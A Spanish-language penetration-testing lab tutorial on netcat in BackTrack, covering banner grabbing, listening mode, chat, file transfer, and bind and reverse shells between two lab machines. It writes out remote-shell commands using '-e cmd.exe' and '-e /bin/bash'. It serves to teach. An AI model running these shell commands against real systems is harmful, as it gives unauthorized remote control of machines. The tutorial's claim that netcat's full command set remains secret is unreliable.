Test de penetración con BackTrack, Netcat

Netcat (a menudo referida como la navaja multiusos de los hackers) es una herramienta de red bajo licencia GPL (en la versión de GNU) disponible para sistemas UNIX, Microsoft y Apple que permite a través de intérprete de comandos y con una sintaxis muy sencilla abrir puertos TCP/UDP en un HOST (quedando netcat a la escucha), asociar una shell a un puerto en concreto (para conectarse por ejemplo a MS-DOS o al intérprete bash de Linux remotamente) y forzar conexiones UDP/TCP (útil por ejemplo para realizar rastreos de puertos o realizar transferencias de archivos bit a bit entre dos equipos).

Sus capacidades hacen que sea a menudo usada como una herramienta para abrir puertas traseras una vez invadido un sistema y obtenido privilegios de administrador o root del equipo. También resulta extremadamente útil a efectos de depuración para aplicaciones de red.

Ya en desuso, originariamente se trataba de una potentísima herramienta de red para administradores no habiéndose descubierto hasta la fecha el total de los comandos que se utilizaban, los cuales permanecen secretos por las particularidades de esta herramienta. (Más información - Web Oficial)

En muchas ocasiones y por diferentes razones se hace necesario realizar conexiones a puertos TCP y UDP.

Algunas de estas razones pueden ser:

  • Cuando necesitamos comprobar la disponibilidad de un puerto (si este se encuentra abierto o cerrado).
  • Cuando queremos leer el banner de dicho puerto (servicio gestionado por el mismo).
  • Cuando necesitamos conectarnos a un servicio de red de manera manual.

El modo de uso de netcat ya ha sido tratado de manera superficial en algunos laboratorios. Trataremos entonces de profundizar un poco más en este laboratorio sobre las posibilidades de la herramienta, aunque tampoco será la "Guía definitiva de Netcat", si nos acercará un poco más a la misma.

Algunas de las publicaciones donde he hecho referencia sobre netcat son las siguientes:

Laboratorios: Hacking - Técnicas y contramedidas - Identificación de Banner’s (Banderas) I
Laboratorios: Hacking - Técnicas y contramedidas - Scanning II
Solución del HackTaller 01 DragonJAR (II de VIII)
Solución del HackTaller 01 DragonJAR (III de VIII)

Ayudas y Opciones de Comandos

Nota: Netcat es una herramienta que viene incluída y lista para ser usada desde la distribución Linux BackTrack, la cual es el objeto de estudio de esta serie de prácticas.

Uno de los primero acercamientos a netcat que debe realizar cada investigador es la exploración del propio sistema de ayudas y opciones de comandos que incluye la herramienta. Para ello bastará con ejecutar la siguiente sintaxis desde la línea de comandos:

nc -h

Para lo cual obtendremos el siguiente resultado:

nc -h
[v1.10]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-e prog program to exec after connect [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive]

Identificación de Banners e información

Para intentar una conexión y obtener información de un sistema y puerto específico la sintaxis es la siguiente:

nc -vv IP/HostName Puerto

Una vez visualizada la información requerida procedemos a detener la ejecución con la combinación de teclas Ctrl + C.

Consultando el Servidor Web que gestiona un sistema Objetivo

Se trata de realizar una conexión al puerto comunmente utilizado para servir páginas Web (80), luego se envía una petición HTTP / HEAD para obtener y leer el banner del servidor HTTP. Para ello ejecutaremos la siguiente sintaxis:

nc -vv IP/HostName Puerto

Netcat a la escucha sobre puertos TCP/UDP y Chat

Establecer a Netcat en modo "listen" (escucha) en un puerto TCP / UDP es una de las tareas más implementadas con la herramienta, pues permite depurar clientes y/o aplicaciones de red, envío/recepción de datos, ejecución de terminales, etc.

Vamos como establecer a Netcat en modo "listen" (escucha) y como podemos implementar sobre el mismo un pequeño pero útil sistema de Chat entre dos equipos.

Para ello contamos con dos máquinas (Windows/Linux)
Windows: IP 10.30.3.116
Linux: IP 10.30.3.84

La máquina con Linux BackTrack será el sistema donde se establezca Netcat en modo "listen", veamos:

nc -lvv 12345

El cliente será el sistema Windows

Transferencia de Archivos con Netcat

Otra de las bondades que permite realizar Netcat es la posibilidad de habilitar una conexión para transferir archivos entre dos equipos. Esto permitirá entonces enviar/recibir archivos de texto y/o binarios entre ellos.

Para ello contamos con dos máquinas (Windows/Linux)
Windows: IP 10.30.3.116
Linux: IP 10.30.3.84

Debemos ejecutar la siguiente sintaxis:

nc -lvp 12345 > salida.txt

El equipo server (Linux BackTrack) estará habilitado en modo listen (escucha) y redireccionando los datos recibidos a un archivo de salida, veamos:

El equipo cliente (Windows) establecerá la conexión con BackTrack (al puerto 12345) y enviará el archivo.
para ello primero crearemos el archivo de texto a enviar. Veamos:

Así se vería desde el servidor BackTrack cuando recibe los datos

Luego procedemos a comprobar la información contenida en el envío

Administración Remota con Netcat (Shell)

Sin lugar a dudas esta es una de las mejores utilidades que se le pueda dar a Netcat, pues como hemos visto esta grandiosa herramienta permite redireccionar instrucciones y comandos. Esto significa que podemos tomar por ejemplo un archivo .exe y redirigir la entrada/salida y mensajes de error a los puertos TCP/UDP que establezcamos.

Veamos en la práctica como podemos redirigir el ejecutable CMD.EXE a un cliente de red en un puerto local. De esta manera ofreceremos una línea de comandos a cualquier usuario que establezca una conexión a nuestro equipo y puerto establecido.

Para ello contamos con dos máquinas (Windows/Linux)
Windows: IP 10.30.3.116
Linux: IP 10.30.3.84

Windows hará el papel de servidor, quién ofrecerá una línea de comandos a los clientes que establezcan una conexión con él.

nc -lvp 12345 -e cmd.exe

Ahora desde BackTrack, quién actua como cliente, establecerá una conexión con Windows. Veamos:

nc -v 10.30.3.116 12345

Shell Inversa con Netcat

A diferencia del escenario anterior y como en muchas ocasiones sucede, no se puede controlar y administrar las salidas/entradas o disposición de puertos. Para ello Netcat nos ofrece otra solución más en su repertorio. Se trata entonces de establacer a Netcat en modo "listen" y el posterior envío/recepción de comandos, entre ellos la ejecución de una terminal. Veamos:

Para ello contamos con dos máquinas (Windows/Linux)
Windows: IP 10.30.3.116
Linux: IP 10.30.3.84

En este caso el sistema Windows pretende obtener una shell del sistema Linux BackTrack, con la limitante de que BackTrack no puede en ese momento servir una shell en modo "Listen".

Desde Windows se establece el modo Listen:

nc -lvp 12345

Ahora desde Backtrack se establece la conexión hacia Windows y la instrucción que este deberá servir al mismo:

nc -v 10.30.3.116 12345 -e /bin/bash

Enviemos una instrucción (comando) desde Windows para que el resultado pueda ser visualizado desde el mismo.

Estos son solo algunos de los muchos usos que se le pueden dar a Netcat, por ello es que se le conoce como la navaja suiza de las redes :D.

A partir de este momento queda abierto el espacio para que los interesados profundicen en el uso de la herramienta.

Recomiento la lectura de estas páginas web, donde se detallan algunos usos e información de la herramienta:

Crysol
Netcat en la Wikipedia

Web Oficial de Netcat

Subir